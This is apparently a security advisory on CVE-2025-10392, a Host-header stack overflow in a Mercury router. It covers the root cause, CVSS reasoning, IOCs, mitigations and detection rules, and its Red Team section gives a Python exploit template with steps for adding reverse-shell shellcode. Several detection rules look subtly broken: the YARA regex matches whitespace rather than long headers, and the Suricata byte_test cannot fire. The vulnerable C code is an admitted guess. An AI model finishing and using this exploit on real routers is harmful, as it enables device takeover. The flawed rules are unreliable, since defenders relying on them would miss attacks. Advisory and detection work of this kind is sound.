CVE-2025-10392

Executive Summary

CVE-2025-10392 is a critical stack-based buffer overflow vulnerability in the Mercury KM08-708H GiGA WiFi Wave2 router, firmware version 1.1.14. The flaw resides in the HTTP Header Handler component, where manipulation of the Host argument leads to a stack-based buffer overflow. This vulnerability is remotely exploitable, and a public exploit is available, increasing the risk of widespread attacks. The vendor, Mercury, has not yet released a patch, leaving all devices running this firmware version exposed.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a networking device.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0 due to incomplete data from the NVD. However, based on the nature of the vulnerability (stack-based buffer overflow, remote exploitation, public exploit), the actual severity is likely Critical. A typical vector for such a flaw would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full device compromise possible.
• Integrity (I): High (H) – Attacker can modify device state.
• Availability (A): High (H) – Denial of service or full control.

Threat Level: Critical. Public exploit code and no patch available.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the HTTP header parsing logic of the Mercury KM08-708H router. The device's web server processes incoming HTTP requests and copies the Host header value into a fixed-size stack buffer without proper bounds checking.

Root Cause: The Host header value is read from the HTTP request and passed to a function that uses strcpy() or a similar unsafe function to copy it into a local buffer of limited size (e.g., 256 bytes). An attacker can send a crafted HTTP request with an overly long Host header (e.g., 1000+ bytes), causing the buffer to overflow and overwrite adjacent stack memory, including the return address.

Attack Flow:

1. Attacker sends an HTTP request to the router's management interface (typically port 80 or 443).
2. The request contains a malicious Host header with a payload that overflows the stack buffer.
3. The overflow overwrites the saved return address on the stack.
4. When the function returns, execution jumps to the attacker-controlled address, leading to arbitrary code execution.

Impact: Full device compromise. The attacker can execute arbitrary commands with root privileges, install malware, exfiltrate data, or use the device as a pivot point for further attacks.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

void handle_http_request(char *request) {
    char host_buffer[256];
    char *host_start = strstr(request, "Host: ");
    if (host_start) {
        host_start += 6; // Skip "Host: "
        char *host_end = strstr(host_start, "\r\n");
        if (host_end) {
            *host_end = '\0';
            strcpy(host_buffer, host_start); // VULNERABLE: no bounds check
        }
    }
    // ... rest of processing
}

A patched version would use safe functions like strncpy() or snprintf():

void handle_http_request(char *request) {
    char host_buffer[256];
    char *host_start = strstr(request, "Host: ");
    if (host_start) {
        host_start += 6;
        char *host_end = strstr(host_start, "\r\n");
        if (host_end) {
            size_t len = host_end - host_start;
            if (len < sizeof(host_buffer)) {
                strncpy(host_buffer, host_start, len);
                host_buffer[len] = '\0';
            } else {
                // Handle error or truncate
                return;
            }
        }
    }
    // ... rest of processing
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Mercury KM08-708H router with firmware 1.1.14
• Attacker machine with Python3 and pwntools
• Network connectivity to the router's management interface

Exploit Code (Python):

#!/usr/bin/env python3
import socket
import sys

def exploit(target_ip, target_port=80):
    # Shellcode placeholder (replace with actual shellcode)
    shellcode = b"\x90" * 200  # NOP sled + shellcode

    # Overflow payload: fill buffer + overwrite return address
    buffer_size = 256
    offset_to_ret = 260  # Adjust based on stack layout
    ret_address = b"\x00\x00\x00\x00"  # Replace with valid address

    payload = b"A" * offset_to_ret
    payload += ret_address
    payload += b"\x90" * 100  # NOP sled
    payload += shellcode

    # Craft HTTP request with malicious Host header
    http_request = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {payload.decode('latin-1')}\r\n"
        f"User-Agent: Mozilla/5.0\r\n"
        f"\r\n"
    )

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((target_ip, target_port))
        sock.send(http_request.encode('latin-1'))
        response = sock.recv(4096)
        print(f"[+] Response: {response}")
        sock.close()
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)
    target_ip = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    exploit(target_ip, target_port)

Usage:

1. Replace shellcode with actual shellcode (e.g., reverse shell).
2. Determine the correct offset and return address using a debugger or crash analysis.
3. Run: python3 exploit.py 192.168.1.1 80

Blue Team

Detection:

• Monitor HTTP requests for abnormally long Host headers (e.g., > 255 bytes).
• Use network intrusion detection systems (NIDS) to flag suspicious HTTP traffic.
• Check router logs for crashes or unexpected reboots.

Honeypot:

• Deploy a honeypot mimicking the Mercury router to capture exploit attempts.
• Analyze captured payloads for shellcode and return addresses.

Mitigation:

• Isolate affected devices on a separate VLAN.
• Disable remote management if not required.
• Apply virtual patching via WAF rules (e.g., block Host headers > 255 bytes).

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests with Host header exceeding 255 bytes.
  • Outbound connections from the router to unknown IPs on unusual ports (e.g., 4444, 31337).
  • Unusual HTTP response codes (e.g., 500 Internal Server Error) from the router.

• Host (Router):

  • Unexpected processes running (e.g., /bin/sh or reverse shell).
  • Modified firmware or configuration files.
  • Log entries indicating crashes or segmentation faults.

• File Hashes (Example):

  • Malicious payloads may contain specific shellcode patterns. Monitor for known shellcode signatures.

Detection Engineering

YARA Rule

rule CVE_2025_10392_Mercury_BOF {
    meta:
        description = "Detects exploit attempts for CVE-2025-10392 in HTTP Host header"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-10392"
    strings:
        $http_host = "Host: " ascii wide nocase
        $overflow_pattern = /Host:\s{256,}/ ascii
    condition:
        $http_host and $overflow_pattern
}

Sigma Rule

title: CVE-2025-10392 Mercury Router HTTP Host Header Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with excessively long Host headers targeting Mercury routers
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-host|length: >= 256
    condition: selection
falsepositives:
    - Legitimate long hostnames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10392 Mercury Router HTTP Host Header Overflow"; flow:to_server; content:"Host: "; http_header; byte_test:1,>,255,0,relative; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Mercury KM08-708H routers on a separate VLAN with restricted access.
2. Disable remote management: If not required, disable HTTP/HTTPS management interfaces.
3. Apply virtual patching: Use a WAF or IPS to block HTTP requests with Host headers longer than 255 bytes.

Long-term Fix:

• Vendor patch: Await an official firmware update from Mercury. Contact Mercury support for an ETA.
• Device replacement: If no patch is forthcoming, consider replacing the device with a patched alternative.

Workarounds:

• Firewall rules: Block inbound traffic to ports 80/443 from untrusted networks.
• Network segmentation: Use a separate management network for router administration.

Valters IT
Securing Digital Frontiers